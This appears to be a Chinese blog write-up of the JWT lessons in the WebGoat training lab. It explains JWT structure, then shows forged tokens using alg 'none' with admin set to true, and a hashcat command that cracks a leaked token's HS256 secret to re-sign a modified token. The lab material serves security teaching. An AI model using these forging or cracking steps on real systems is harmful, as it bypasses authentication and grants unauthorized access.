WebGoat靶场和bp插件authz的安装

bp安装插件

JWT

JSON Web Tokens - jwt.io

JWT(JSON Web Token)由三部分组成:头部(Header)、载荷(Payload)、签名(Signature)。

JWT(JSON Web Token)由三部分组成:头部(Header)、载荷(Payload)、签名(Signature)。

    头部(Header):头部通常由两部分组成,算法类型和令牌类型。
        算法类型:指定用于生成签名的算法,例如 HMAC、RSA 或者 ECDSA。
        令牌类型:指定令牌的类型,常见的是 JWT。

头部使用 Base64Url 编码表示,并作为整个 JWT 的第一部分。头部的一个示例:

{
  "alg": "HS256",none
  "typ": "JWT"
}

    载荷(Payload):载荷存储了有关用户或实体的声明和其他有关信息。
        声明:如用户 ID、角色、权限等信息。
        注册声明:包含一些标准的声明(比如发行人、过期时间等)和一些自定义的声明。

载荷也使用 Base64Url 编码表示,并作为整个 JWT 的第二部分。载荷的一个示例:

{
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022
}

    签名(Signature):签名是对头部和载荷进行签名的结果,用于验证 JWT 的完整性和真实性。
        签名生成方式:将头部和载荷进行 Base64Url 编码后拼接在一起,然后使用指定的加密算法(如 HMAC、RSA)进行签名,将生成的签名添加到 JWT 中。

头部

alg

是说明这个JWT的签名使用的算法的参数,常见值用HS256(默认),HS512等,也可以为None。HS256表示HMAC SHA256。

typ

说明这个token的类型为JWT

payload

签名

服务器有一个不会发送给客户端的密码(secret),用头部中指定的算法对头部和声明的内容用此密码进行加密,生成的字符串就是JWT的签名

JWT 靶场为例

kali启动靶场

启动命令

java -jar webgoat-server-8.1.0.jar --server.port=8888 --server.address=192.168.176.128

 访问网址192.168.176.128:8888/WebGoat

 注册账户

 第四关 :目的伪造签名,将投票清空

可以投票,但不能清空需要admin管理员用户

开启代理,点击删除,利用bp抓取历史流量包

 发送到repeater模块

 复制token到网址进行解密

JSON Web Tokens - jwt.io

 想要将tom改为admin用户,需要将签名里面alg对应的加密方式改为none 再将payload里面的false改为true,这是base64加密的可以利用base64加密修改,不要等号

1

{
  "alg": "none"
}

# base64编码后

ewogICJhbGciOiAibm9uZSIKfQ

2

{
  "iat": 1702819755,
  "admin": "true",
  "user": "Tom"
}

# base64 编码后

ewogICJpYXQiOiAxNzAyODE5NzU1LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0

修改完成后的,将其复制到bp的抓取的请求包里面

注意,第二payload的点不能漏掉,签名可以不复制

ewogICJhbGciOiAibm9uZSIKfQ.ewogICJpYXQiOiAxNzAyODE5NzU1LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0.

JSESSIONI 不能被删除,否则就不行了

 进行send重放,修改成功

 成功,票据被清空了

第五关:目的修改exp,爆破密钥

给了一个已经泄露的 JWT

 爆破密钥的字典

victory
secret1
business
washington

 jwt字典,将得到泄露jwt粘贴进去

eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTcwMTk1NzAzMiwiZXhwIjoxNzAxOTU3MDkyLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.K99uYAiHZLpedIcHXGgHZ1z2hqi2CnqLXybwJ_rZH74

 进行爆破

hashcat -m 16500 jwt.txt -a 3 -w 2 1.txt --force

-m 16500         这里的16500对应的就是jwt的token爆破;

-a 3          代表蛮力破解

-w 3             高速破解,就是会让桌面进程无响应的那种高速

jwt.txt             题目要求破解的token保存到的文件

pass.txt         密码字典

 

成功爆破出 密钥为victory

eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTcwMTk1NzAzMiwiZXhwIjoxNzAxOTU3MDkyLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.K99uYAiHZLpedIcHXGgHZ1z2hqi2CnqLXybwJ_rZH74:victory
 

修改jwt

替换tom为WebGoat

修改exp有效时间

设置一个新的exp

 最终的base64编码好的

ewogICJpc3MiOiAiV2ViR29hdCBUb2tlbiBCdWlsZGVyIiwKICAiYXVkIjogIndlYmdvYXQub3JnIiwKICAiaWF0IjogMTcwMTk1NzAzMiwKICAiZXhwIjogMTcwMTk1OTQzMywKICAic3ViIjogInRvbUB3ZWJnb2F0Lm9yZyIsCiAgInVzZXJuYW1lIjogIldlYkdvYXQiLAogICJFbWFpbCI6ICJ0b21Ad2ViZ29hdC5vcmciLAogICJSb2xlIjogWwogICAgIk1hbmFnZXIiLAogICAgIlByb2plY3QgQWRtaW5pc3RyYXRvciIKICBdCn0

替换密钥,不需要第三步

 修改完成的JWT

eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTcwMTk1NzAzMiwiZXhwIjoxNzAxOTU5NDMzLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IldlYkdvYXQiLCJFbWFpbCI6InRvbUB3ZWJnb2F0Lm9yZyIsIlJvbGUiOlsiTWFuYWdlciIsIlByb2plY3QgQWRtaW5pc3RyYXRvciJdfQ.7S8xgI-rPri_bUnHujaosQ_vWU8fgimcIbQ72GqTNVc

 通关

 第七关:目的改变JWT,使tom付款

靶场提供了一个日志

有泄露的JWT 

eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q

修改alg和payload

修改后的alg base64编码后

ewogICJhbGciOiAibm9uZSIKfQ

修改后的payload base64编码后的

ewogICJpYXQiOiAxNTI2MTMxNDExLAogICJleHAiOiAxNzAxOTYwNjMzLAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0

修改完成后JWT

ewogICJhbGciOiAibm9uZSIKfQ.ewogICJpYXQiOiAxNTI2MTMxNDExLAogICJleHAiOiAxNzAxOTYwNjMzLAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0.

开启代理,抓取流量

将修改后的JWT 放置进去,进行重放,通关成功

ewogICJhbGciOiAibm9uZSIKfQ.ewogICJpYXQiOiAxNTI2MTMxNDExLAogICJleHAiOiAxNzAxOTYwNjMzLAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0.

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值